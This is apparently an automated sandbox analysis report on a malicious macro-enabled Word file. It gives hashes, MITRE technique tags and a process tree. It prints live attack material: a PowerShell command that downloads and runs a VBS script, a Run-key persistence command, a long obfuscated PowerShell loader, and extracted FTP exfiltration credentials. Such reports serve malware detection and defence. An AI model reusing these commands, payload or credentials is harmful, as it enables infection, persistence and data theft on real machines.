2c341cf3f188678c35cdb125b7c9dcdaed7cf44f766041e8ad1427e00955e759

Analysis

max time kernel
147s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23-09-2024 22:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2c341cf3f188678c35cdb125b7c9dcdaed7cf44f766041e8ad1427e00955e759.docm
Size

124KB
MD5

1a224a87b076f87c8fadecbed3c9db43
SHA1

43451676f595f9a6d4d01a68856d40984bc286cd
SHA256

2c341cf3f188678c35cdb125b7c9dcdaed7cf44f766041e8ad1427e00955e759
SHA512

52d154f720510ede0bad8641967ed35f81aed4c01e846503ae0b2e8b56a462f7777c25a2ce6498a8ae809e95106fb050dc6e1ba0fe6a98777b82425c9e00f6ba
SSDEEP

1536:vkcaUfWWfXE8DKhfpM7gPgP8MDw/jlQx1JE7vReOr0l77CXXNaHsdUXSIt98iuBX:vVLf/U8GX3ClwH9r0l77AnsSmy/Bwx8

Score

10^/10

defense_evasion execution persistence

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3672	2836	powershell.exe	86

Blocklisted process makes network request 17 IoCs

flow	pid	Process
58	3672	powershell.exe
61	3672	powershell.exe
64	3940	powershell.exe
67	3940	powershell.exe
69	3940	powershell.exe
71	3940	powershell.exe
73	3940	powershell.exe
76	3940	powershell.exe
77	3940	powershell.exe
81	3940	powershell.exe
82	3940	powershell.exe
83	3940	powershell.exe
84	3940	powershell.exe
85	3940	powershell.exe
86	3940	powershell.exe
87	3940	powershell.exe
88	3940	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_v = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\zmcwr.ps1' \";exit"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2456	powershell.exe
3940	powershell.exe
4440	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000_Classes\Local Settings	explorer.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2836	WINWORD.EXE
2836	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3672	powershell.exe
3672	powershell.exe
2456	powershell.exe
2456	powershell.exe
3940	powershell.exe
3940	powershell.exe
3940	powershell.exe
4440	powershell.exe
4440	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3672	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	4440	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2836	WINWORD.EXE
2836	WINWORD.EXE
2836	WINWORD.EXE
2836	WINWORD.EXE
2836	WINWORD.EXE
2836	WINWORD.EXE
2836	WINWORD.EXE

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 3672	2836	WINWORD.EXE	100
PID 2836 wrote to memory of 3672	2836	WINWORD.EXE	100
PID 3672 wrote to memory of 3464	3672	powershell.exe	103
PID 3672 wrote to memory of 3464	3672	powershell.exe	103
PID 4024 wrote to memory of 4208	4024	explorer.exe	105
PID 4024 wrote to memory of 4208	4024	explorer.exe	105
PID 4208 wrote to memory of 2456	4208	WScript.exe	106
PID 4208 wrote to memory of 2456	4208	WScript.exe	106
PID 2456 wrote to memory of 3940	2456	powershell.exe	108
PID 2456 wrote to memory of 3940	2456	powershell.exe	108
PID 3940 wrote to memory of 3092	3940	powershell.exe	109
PID 3940 wrote to memory of 3092	3940	powershell.exe	109
PID 3940 wrote to memory of 4440	3940	powershell.exe	110
PID 3940 wrote to memory of 4440	3940	powershell.exe	110
PID 3940 wrote to memory of 5024	3940	powershell.exe	111
PID 3940 wrote to memory of 5024	3940	powershell.exe	111
PID 3940 wrote to memory of 3244	3940	powershell.exe	112
PID 3940 wrote to memory of 3244	3940	powershell.exe	112
PID 3940 wrote to memory of 4076	3940	powershell.exe	113
PID 3940 wrote to memory of 4076	3940	powershell.exe	113
PID 3940 wrote to memory of 4064	3940	powershell.exe	114
PID 3940 wrote to memory of 4064	3940	powershell.exe	114
PID 3940 wrote to memory of 4408	3940	powershell.exe	115
PID 3940 wrote to memory of 4408	3940	powershell.exe	115
PID 3940 wrote to memory of 3060	3940	powershell.exe	116
PID 3940 wrote to memory of 3060	3940	powershell.exe	116
PID 3940 wrote to memory of 896	3940	powershell.exe	117
PID 3940 wrote to memory of 896	3940	powershell.exe	117
PID 3940 wrote to memory of 368	3940	powershell.exe	118
PID 3940 wrote to memory of 368	3940	powershell.exe	118
PID 3940 wrote to memory of 1500	3940	powershell.exe	119
PID 3940 wrote to memory of 1500	3940	powershell.exe	119
PID 3940 wrote to memory of 4508	3940	powershell.exe	120
PID 3940 wrote to memory of 4508	3940	powershell.exe	120
PID 3940 wrote to memory of 2244	3940	powershell.exe	121
PID 3940 wrote to memory of 2244	3940	powershell.exe	121
PID 3940 wrote to memory of 1028	3940	powershell.exe	122
PID 3940 wrote to memory of 1028	3940	powershell.exe	122

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2c341cf3f188678c35cdb125b7c9dcdaed7cf44f766041e8ad1427e00955e759.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/zn1Qymri/51ant31V.4b853dea11c2849155297f3660b3e9f8 -o test.vbs; explorer.exe test.vbs
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe" test.vbs
    3⤵
    PID:3464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4288,i,12470628711992022444,7767535593390851522,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:8
1⤵
PID:1016

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4024
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\test.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qCybe = 'OwB9ШḆЉDsШḆЉKQШḆЉgШḆЉCkШḆЉIШḆЉШḆЉnШḆЉDEШḆЉZQB1ШḆЉHIШḆЉdШḆЉШḆЉnШḆЉCШḆЉШḆЉLШḆЉШḆЉgШḆЉGUШḆЉagB3ШḆЉHoШḆЉaШḆЉШḆЉkШḆЉCШḆЉШḆЉLШḆЉШḆЉgШḆЉCcШḆЉaШḆЉB0ШḆЉHQШḆЉcШḆЉBzШḆЉDoШḆЉLwШḆЉvШḆЉHШḆЉШḆЉNwШḆЉuШḆЉHQШḆЉcgШḆЉxШḆЉC4ШḆЉbgШḆЉwШḆЉC4ШḆЉYwBkШḆЉG4ШḆЉLgB6ШḆЉGkШḆЉZwBoШḆЉHQШḆЉLgBjШḆЉG8ШḆЉbQШḆЉvШḆЉGkШḆЉdШḆЉBlШḆЉG0ШḆЉcwШḆЉvШḆЉEEШḆЉcШḆЉB1ШḆЉHEШḆЉSwBSШḆЉHcШḆЉSgШḆЉvШḆЉDgШḆЉNgBhШḆЉDШḆЉШḆЉOШḆЉBiШḆЉDMШḆЉZQШḆЉtШḆЉGYШḆЉYwШḆЉzШḆЉGIШḆЉLQШḆЉ0ШḆЉGUШḆЉMwШḆЉ2ШḆЉC0ШḆЉYQШḆЉxШḆЉDQШḆЉNgШḆЉtШḆЉGYШḆЉZQШḆЉyШḆЉDШḆЉШḆЉNgШḆЉ0ШḆЉDkШḆЉNQBlШḆЉDYШḆЉYwШḆЉ2ШḆЉC4ШḆЉdШḆЉB4ШḆЉHQШḆЉPwByШḆЉGUШḆЉcwBwШḆЉG8ШḆЉbgBzШḆЉGUШḆЉLQBjШḆЉG8ШḆЉbgB0ШḆЉGUШḆЉbgB0ШḆЉC0ШḆЉZШḆЉBpШḆЉHMШḆЉcШḆЉBvШḆЉHMШḆЉaQB0ШḆЉGkШḆЉbwBuШḆЉD0ШḆЉYQB0ШḆЉHQШḆЉYQBjШḆЉGgШḆЉbQBlШḆЉG4ШḆЉdШḆЉШḆЉlШḆЉDMШḆЉQgШḆЉrШḆЉGYШḆЉaQBsШḆЉGUШḆЉbgBhШḆЉG0ШḆЉZQШḆЉlШḆЉDMШḆЉRШḆЉШḆЉlШḆЉDIШḆЉMgШḆЉwШḆЉDcШḆЉLgШḆЉwШḆЉDgШḆЉLgШḆЉyШḆЉDШḆЉШḆЉMgШḆЉ0ШḆЉC4ШḆЉdШḆЉB4ШḆЉHQШḆЉJQШḆЉyШḆЉDIШḆЉJQШḆЉzШḆЉEIШḆЉKwBmШḆЉGkШḆЉbШḆЉBlШḆЉG4ШḆЉYQBtШḆЉGUШḆЉJQШḆЉyШḆЉEEШḆЉJQШḆЉzШḆЉEQШḆЉVQBUШḆЉEYШḆЉLQШḆЉ4ШḆЉCUШḆЉMgШḆЉ3ШḆЉCUШḆЉMgШḆЉ3ШḆЉDШḆЉШḆЉNwШḆЉuШḆЉDШḆЉШḆЉOШḆЉШḆЉuШḆЉDIШḆЉMШḆЉШḆЉyШḆЉDQШḆЉLgB0ШḆЉHgШḆЉdШḆЉШḆЉmШḆЉHMШḆЉbwB1ШḆЉHIШḆЉYwBlШḆЉD0ШḆЉZШḆЉBvШḆЉHcШḆЉbgBsШḆЉG8ШḆЉYQBkШḆЉCYШḆЉdgШḆЉ9ШḆЉCUШḆЉMgШḆЉyШḆЉGEШḆЉNgBhШḆЉDQШḆЉMQШḆЉ3ШḆЉDUШḆЉNgBmШḆЉDgШḆЉOШḆЉBiШḆЉDQШḆЉZQШḆЉxШḆЉDUШḆЉNQBmШḆЉGQШḆЉOШḆЉШḆЉzШḆЉDШḆЉШḆЉMШḆЉШḆЉwШḆЉDIШḆЉNgBhШḆЉGMШḆЉYgШḆЉzШḆЉDEШḆЉMwШḆЉlШḆЉDIШḆЉMgШḆЉnШḆЉCШḆЉШḆЉKШḆЉШḆЉgШḆЉF0ШḆЉXQBbШḆЉHQШḆЉYwBlШḆЉGoШḆЉYgBvШḆЉFsШḆЉIШḆЉШḆЉsШḆЉCШḆЉШḆЉbШḆЉBsШḆЉHUШḆЉbgШḆЉkШḆЉCШḆЉШḆЉKШḆЉBlШḆЉGsШḆЉbwB2ШḆЉG4ШḆЉSQШḆЉuШḆЉCkШḆЉIШḆЉШḆЉnШḆЉEkШḆЉVgBGШḆЉHIШḆЉcШḆЉШḆЉnШḆЉCШḆЉШḆЉKШḆЉBkШḆЉG8ШḆЉaШḆЉB0ШḆЉGUШḆЉTQB0ШḆЉGUШḆЉRwШḆЉuШḆЉCkШḆЉJwШḆЉxШḆЉHMШḆЉcwBhШḆЉGwШḆЉQwШḆЉuШḆЉDMШḆЉeQByШḆЉGEШḆЉcgBiШḆЉGkШḆЉTШḆЉBzШḆЉHMШḆЉYQBsШḆЉEMШḆЉJwШḆЉoШḆЉGUШḆЉcШḆЉB5ШḆЉFQШḆЉdШḆЉBlШḆЉEcШḆЉLgШḆЉpШḆЉCШḆЉШḆЉeШḆЉBtШḆЉHoШḆЉWШḆЉB4ШḆЉCQШḆЉIШḆЉШḆЉoШḆЉGQШḆЉYQBvШḆЉEwШḆЉLgBuШḆЉGkШḆЉYQBtШḆЉG8ШḆЉRШḆЉB0ШḆЉG4ШḆЉZQByШḆЉHIШḆЉdQBDШḆЉDoШḆЉOgBdШḆЉG4ШḆЉaQBhШḆЉG0ШḆЉbwBEШḆЉHШḆЉШḆЉcШḆЉBBШḆЉC4ШḆЉbQBlШḆЉHQШḆЉcwB5ШḆЉFMШḆЉWwШḆЉ7ШḆЉCkШḆЉIШḆЉШḆЉpШḆЉCШḆЉШḆЉJwBBШḆЉCcШḆЉIШḆЉШḆЉsШḆЉCШḆЉШḆЉJwCTIToШḆЉkyEnШḆЉCШḆЉШḆЉKШḆЉBlШḆЉGMШḆЉYQBsШḆЉHШḆЉШḆЉZQBSШḆЉC4ШḆЉbgBaШḆЉHcШḆЉQQBHШḆЉCQШḆЉIШḆЉШḆЉoШḆЉGcШḆЉbgBpШḆЉHIШḆЉdШḆЉBTШḆЉDQШḆЉNgBlШḆЉHMШḆЉYQBCШḆЉG0ШḆЉbwByШḆЉEYШḆЉOgШḆЉ6ШḆЉF0ШḆЉdШḆЉByШḆЉGUШḆЉdgBuШḆЉG8ШḆЉQwШḆЉuШḆЉG0ШḆЉZQB0ШḆЉHMШḆЉeQBTШḆЉFsШḆЉIШḆЉШḆЉ9ШḆЉCШḆЉШḆЉeШḆЉBtШḆЉHoШḆЉWШḆЉB4ШḆЉCQШḆЉIШḆЉBdШḆЉF0ШḆЉWwBlШḆЉHQШḆЉeQBCШḆЉFsШḆЉOwШḆЉnШḆЉCUШḆЉSQBoШḆЉHEШḆЉUgBYШḆЉCUШḆЉJwШḆЉgШḆЉD0ШḆЉIШḆЉBlШḆЉGoШḆЉdwB6ШḆЉGgШḆЉJШḆЉШḆЉ7ШḆЉCkШḆЉIШḆЉBuШḆЉFoШḆЉdwBBШḆЉEcШḆЉJШḆЉШḆЉgШḆЉCgШḆЉZwBuШḆЉGkШḆЉcgB0ШḆЉFMШḆЉZШḆЉBhШḆЉG8ШḆЉbШḆЉBuШḆЉHcШḆЉbwBEШḆЉC4ШḆЉQwBtШḆЉFYШḆЉcQBsШḆЉCQШḆЉIШḆЉШḆЉ9ШḆЉCШḆЉШḆЉbgBaШḆЉHcШḆЉQQBHШḆЉCQШḆЉOwШḆЉ4ШḆЉEYШḆЉVШḆЉBVШḆЉDoШḆЉOgBdШḆЉGcШḆЉbgBpШḆЉGQШḆЉbwBjШḆЉG4ШḆЉRQШḆЉuШḆЉHQШḆЉeШḆЉBlШḆЉFQШḆЉLgBtШḆЉGUШḆЉdШḆЉBzШḆЉHkШḆЉUwBbШḆЉCШḆЉШḆЉPQШḆЉgШḆЉGcШḆЉbgBpШḆЉGQШḆЉbwBjШḆЉG4ШḆЉRQШḆЉuШḆЉEMШḆЉbQBWШḆЉHEШḆЉbШḆЉШḆЉkШḆЉDsШḆЉKQB0ШḆЉG4ШḆЉZQBpШḆЉGwШḆЉQwBiШḆЉGUШḆЉVwШḆЉuШḆЉHQШḆЉZQBOШḆЉCШḆЉШḆЉdШḆЉBjШḆЉGUШḆЉagBiШḆЉE8ШḆЉLQB3ШḆЉGUШḆЉTgШḆЉoШḆЉCШḆЉШḆЉPQШḆЉgШḆЉEMШḆЉbQBWШḆЉHEШḆЉbШḆЉШḆЉkШḆЉDsШḆЉKQШḆЉoШḆЉGUШḆЉcwBvШḆЉHШḆЉШḆЉcwBpШḆЉGQШḆЉLgBDШḆЉG0ШḆЉVgBxШḆЉGwШḆЉJШḆЉШḆЉ7ШḆЉCkШḆЉIШḆЉШḆЉnШḆЉHQШḆЉeШḆЉB0ШḆЉC4ШḆЉMQШḆЉwШḆЉEwШḆЉTШḆЉBEШḆЉC8ШḆЉMQШḆЉwШḆЉC8ШḆЉcgBlШḆЉHQШḆЉcШḆЉB5ШḆЉHIШḆЉYwBwШḆЉFUШḆЉLwByШḆЉGIШḆЉLgBtШḆЉG8ШḆЉYwШḆЉuШḆЉHQШḆЉYQByШḆЉGIШḆЉdgBrШḆЉGMШḆЉcwBlШḆЉGQШḆЉLgBwШḆЉHQШḆЉZgBШḆЉШḆЉDEШḆЉdШḆЉBhШḆЉHIШḆЉYgB2ШḆЉGsШḆЉYwBzШḆЉGUШḆЉZШḆЉШḆЉvШḆЉC8ШḆЉOgBwШḆЉHQШḆЉZgШḆЉnШḆЉCШḆЉШḆЉKШḆЉBnШḆЉG4ШḆЉaQByШḆЉHQШḆЉUwBkШḆЉGEШḆЉbwBsШḆЉG4ШḆЉdwBvШḆЉEQШḆЉLgBDШḆЉG0ШḆЉVgBxШḆЉGwШḆЉJШḆЉШḆЉgШḆЉD0ШḆЉIШḆЉBuШḆЉFoШḆЉdwBBШḆЉEcШḆЉJШḆЉШḆЉ7ШḆЉCkШḆЉJwBШḆЉШḆЉEШḆЉШḆЉcШḆЉBKШḆЉDgШḆЉNwШḆЉ1ШḆЉDEШḆЉMgBvШḆЉHIШḆЉcШḆЉByШḆЉGUШḆЉcШḆЉBvШḆЉGwШḆЉZQB2ШḆЉGUШḆЉZШḆЉШḆЉnШḆЉCwШḆЉJwШḆЉxШḆЉHQШḆЉYQByШḆЉGIШḆЉdgBrШḆЉGMШḆЉcwBlШḆЉGQШḆЉJwШḆЉoШḆЉGwШḆЉYQBpШḆЉHQШḆЉbgBlШḆЉGQШḆЉZQByШḆЉEMШḆЉawByШḆЉG8ШḆЉdwB0ШḆЉGUШḆЉTgШḆЉuШḆЉHQШḆЉZQBOШḆЉC4ШḆЉbQBlШḆЉHQШḆЉcwB5ШḆЉFMШḆЉIШḆЉB0ШḆЉGMШḆЉZQBqШḆЉGIШḆЉbwШḆЉtШḆЉHcШḆЉZQBuШḆЉCШḆЉШḆЉPQШḆЉgШḆЉHMШḆЉbШḆЉBhШḆЉGkШḆЉdШḆЉBuШḆЉGUШḆЉZШḆЉBlШḆЉHIШḆЉQwШḆЉuШḆЉEMШḆЉbQBWШḆЉHEШḆЉbШḆЉШḆЉkШḆЉDsШḆЉOШḆЉBGШḆЉFQШḆЉVQШḆЉ6ШḆЉDoШḆЉXQBnШḆЉG4ШḆЉaQBkШḆЉG8ШḆЉYwBuШḆЉEUШḆЉLgB0ШḆЉHgШḆЉZQBUШḆЉC4ШḆЉbQBlШḆЉHQШḆЉcwB5ШḆЉFMШḆЉWwШḆЉgШḆЉD0ШḆЉIШḆЉBnШḆЉG4ШḆЉaQBkШḆЉG8ШḆЉYwBuШḆЉEUШḆЉLgBDШḆЉG0ШḆЉVgBxШḆЉGwШḆЉJШḆЉШḆЉ7ШḆЉCkШḆЉdШḆЉBuШḆЉGUШḆЉaQBsШḆЉEMШḆЉYgBlШḆЉFcШḆЉLgB0ШḆЉGUШḆЉTgШḆЉgШḆЉHQШḆЉYwBlШḆЉGoШḆЉYgBPШḆЉC0ШḆЉdwBlШḆЉE4ШḆЉKШḆЉШḆЉgШḆЉD0ШḆЉIШḆЉBDШḆЉG0ШḆЉVgBxШḆЉGwШḆЉJШḆЉШḆЉ7ШḆЉG4ШḆЉWgB3ШḆЉEEШḆЉRwШḆЉkШḆЉDsШḆЉMgШḆЉxШḆЉHMШḆЉbШḆЉBUШḆЉDoШḆЉOgBdШḆЉGUШḆЉcШḆЉB5ШḆЉFQШḆЉbШḆЉBvШḆЉGMШḆЉbwB0ШḆЉG8ШḆЉcgBQШḆЉHkШḆЉdШḆЉBpШḆЉHIШḆЉdQBjШḆЉGUШḆЉUwШḆЉuШḆЉHQШḆЉZQBOШḆЉC4ШḆЉbQBlШḆЉHQШḆЉcwB5ШḆЉFMШḆЉWwШḆЉgШḆЉD0ШḆЉIШḆЉBsШḆЉG8ШḆЉYwBvШḆЉHQШḆЉbwByШḆЉFШḆЉШḆЉeQB0ШḆЉGkШḆЉcgB1ШḆЉGMШḆЉZQBTШḆЉDoШḆЉOgBdШḆЉHIШḆЉZQBnШḆЉGEШḆЉbgBhШḆЉE0ШḆЉdШḆЉBuШḆЉGkШḆЉbwBQШḆЉGUШḆЉYwBpШḆЉHYШḆЉcgBlШḆЉFMШḆЉLgB0ШḆЉGUШḆЉTgШḆЉuШḆЉG0ШḆЉZQB0ШḆЉHMШḆЉeQBTШḆЉFsШḆЉOwB9ШḆЉGUШḆЉdQByШḆЉHQШḆЉJШḆЉB7ШḆЉCШḆЉШḆЉPQШḆЉgШḆЉGsШḆЉYwBhШḆЉGIШḆЉbШḆЉBsШḆЉGEШḆЉQwBuШḆЉG8ШḆЉaQB0ШḆЉGEШḆЉZШḆЉBpШḆЉGwШḆЉYQBWШḆЉGUШḆЉdШḆЉBhШḆЉGMШḆЉaQBmШḆЉGkШḆЉdШḆЉByШḆЉGUШḆЉQwByШḆЉGUШḆЉdgByШḆЉGUШḆЉUwШḆЉ6ШḆЉDoШḆЉXQByШḆЉGUШḆЉZwBhШḆЉG4ШḆЉYQBNШḆЉHQШḆЉbgBpШḆЉG8ШḆЉUШḆЉBlШḆЉGMШḆЉaQB2ШḆЉHIШḆЉZQBTШḆЉC4ШḆЉdШḆЉBlШḆЉE4ШḆЉLgBtШḆЉGUШḆЉdШḆЉBzШḆЉHkШḆЉUwBbШḆЉHsШḆЉIШḆЉBlШḆЉHMШḆЉbШḆЉBlШḆЉH0ШḆЉIШḆЉBmШḆЉC8ШḆЉIШḆЉШḆЉwШḆЉCШḆЉШḆЉdШḆЉШḆЉvШḆЉCШḆЉШḆЉcgШḆЉvШḆЉCШḆЉШḆЉZQB4ШḆЉGUШḆЉLgBuШḆЉHcШḆЉbwBkШḆЉHQШḆЉdQBoШḆЉHMШḆЉIШḆЉШḆЉ7ШḆЉCcШḆЉMШḆЉШḆЉ4ШḆЉDEШḆЉIШḆЉBwШḆЉGUШḆЉZQBsШḆЉHMШḆЉJwШḆЉgШḆЉGQШḆЉbgBhШḆЉG0ШḆЉbQBvШḆЉGMШḆЉLQШḆЉgШḆЉGUШḆЉeШḆЉBlШḆЉC4ШḆЉbШḆЉBsШḆЉGUШḆЉaШḆЉBzШḆЉHIШḆЉZQB3ШḆЉG8ШḆЉcШḆЉШḆЉ7ШḆЉCШḆЉШḆЉZQBjШḆЉHIШḆЉbwBmШḆЉC0ШḆЉIШḆЉШḆЉpШḆЉCШḆЉШḆЉJwBwШḆЉHUШḆЉdШḆЉByШḆЉGEШḆЉdШḆЉBTШḆЉFwШḆЉcwBtШḆЉGEШḆЉcgBnШḆЉG8ШḆЉcgBQШḆЉFwШḆЉdQBuШḆЉGUШḆЉTQШḆЉgШḆЉHQШḆЉcgBhШḆЉHQШḆЉUwBcШḆЉHMШḆЉdwBvШḆЉGQШḆЉbgBpШḆЉFcШḆЉXШḆЉB0ШḆЉGYШḆЉbwBzШḆЉG8ШḆЉcgBjШḆЉGkШḆЉTQBcШḆЉGcШḆЉbgBpШḆЉG0ШḆЉYQBvШḆЉFIШḆЉXШḆЉBhШḆЉHQШḆЉYQBEШḆЉHШḆЉШḆЉcШḆЉBBШḆЉFwШḆЉJwШḆЉgШḆЉCsШḆЉIШḆЉBwШḆЉHUШḆЉdШḆЉByШḆЉGEШḆЉdШḆЉBTШḆЉGQШḆЉbШḆЉBvШḆЉEYШḆЉJШḆЉШḆЉgШḆЉCgШḆЉIШḆЉBuШḆЉG8ШḆЉaQB0ШḆЉGEШḆЉbgBpШḆЉHQШḆЉcwBlШḆЉEQШḆЉLQШḆЉgШḆЉCcШḆЉJQBJШḆЉGgШḆЉcQBSШḆЉFgШḆЉJQШḆЉnШḆЉCШḆЉШḆЉbQBlШḆЉHQШḆЉSQШḆЉtШḆЉHkШḆЉcШḆЉBvШḆЉEMШḆЉIШḆЉШḆЉ7ШḆЉCШḆЉШḆЉdШḆЉByШḆЉGEШḆЉdШḆЉBzШḆЉGUШḆЉcgBvШḆЉG4ШḆЉLwШḆЉgШḆЉHQШḆЉZQBpШḆЉHUШḆЉcQШḆЉvШḆЉCШḆЉШḆЉZQBsШḆЉGkШḆЉZgШḆЉkШḆЉCШḆЉШḆЉZQB4ШḆЉGUШḆЉLgBhШḆЉHMШḆЉdQB3ШḆЉCШḆЉШḆЉZQB4ШḆЉGUШḆЉLgBsШḆЉGwШḆЉZQBoШḆЉHMШḆЉcgBlШḆЉHcШḆЉbwBwШḆЉCШḆЉШḆЉOwШḆЉpШḆЉCcШḆЉdQBzШḆЉG0ШḆЉLgBuШḆЉGkШḆЉdwBwШḆЉFUШḆЉXШḆЉШḆЉnШḆЉCШḆЉШḆЉKwШḆЉgШḆЉGEШḆЉdШḆЉBzШḆЉGEШḆЉcШḆЉШḆЉkШḆЉCgШḆЉIШḆЉШḆЉ9ШḆЉCШḆЉШḆЉZQBsШḆЉGkШḆЉZgШḆЉkШḆЉDsШḆЉKQШḆЉgШḆЉGUШḆЉbQBhШḆЉE4ШḆЉcgBlШḆЉHMШḆЉVQШḆЉ6ШḆЉDoШḆЉXQB0ШḆЉG4ШḆЉZQBtШḆЉG4ШḆЉbwByШḆЉGkШḆЉdgBuШḆЉEUШḆЉWwШḆЉgШḆЉCsШḆЉIШḆЉШḆЉnШḆЉFwШḆЉcwByШḆЉGUШḆЉcwBVШḆЉFwШḆЉOgBDШḆЉCcШḆЉKШḆЉШḆЉgШḆЉD0ШḆЉIШḆЉBwШḆЉHUШḆЉdШḆЉByШḆЉGEШḆЉdШḆЉBTШḆЉGQШḆЉbШḆЉBvШḆЉEYШḆЉJШḆЉШḆЉ7ШḆЉCkШḆЉJwB1ШḆЉHMШḆЉbQШḆЉuШḆЉG4ШḆЉaQB3ШḆЉHШḆЉШḆЉVQBcШḆЉCcШḆЉIШḆЉШḆЉrШḆЉCШḆЉШḆЉYQB0ШḆЉHMШḆЉYQBwШḆЉCQШḆЉIШḆЉШḆЉsШḆЉEIШḆЉSwBMШḆЉFIШḆЉVQШḆЉkШḆЉCgШḆЉZQBsШḆЉGkШḆЉRgBkШḆЉGEШḆЉbwBsШḆЉG4ШḆЉdwBvШḆЉEQШḆЉLgBvШḆЉHMШḆЉVQBIШḆЉHUШḆЉJШḆЉШḆЉ7ШḆЉDgШḆЉRgBUШḆЉFUШḆЉOgШḆЉ6ШḆЉF0ШḆЉZwBuШḆЉGkШḆЉZШḆЉBvШḆЉGMШḆЉbgBFШḆЉC4ШḆЉdШḆЉB4ШḆЉGUШḆЉVШḆЉШḆЉuШḆЉG0ШḆЉZQB0ШḆЉHMШḆЉeQBTШḆЉFsШḆЉIШḆЉШḆЉ9ШḆЉCШḆЉШḆЉZwBuШḆЉGkШḆЉZШḆЉBvШḆЉGMШḆЉbgBFШḆЉC4ШḆЉbwBzШḆЉFUШḆЉSШḆЉB1ШḆЉCQШḆЉOwШḆЉpШḆЉHQШḆЉbgBlШḆЉGkШḆЉbШḆЉBDШḆЉGIШḆЉZQBXШḆЉC4ШḆЉdШḆЉBlШḆЉE4ШḆЉIШḆЉB0ШḆЉGMШḆЉZQBqШḆЉGIШḆЉTwШḆЉtШḆЉHcШḆЉZQBOШḆЉCgШḆЉIШḆЉШḆЉ9ШḆЉCШḆЉШḆЉbwBzШḆЉFUШḆЉSШḆЉB1ШḆЉCQШḆЉOwB9ШḆ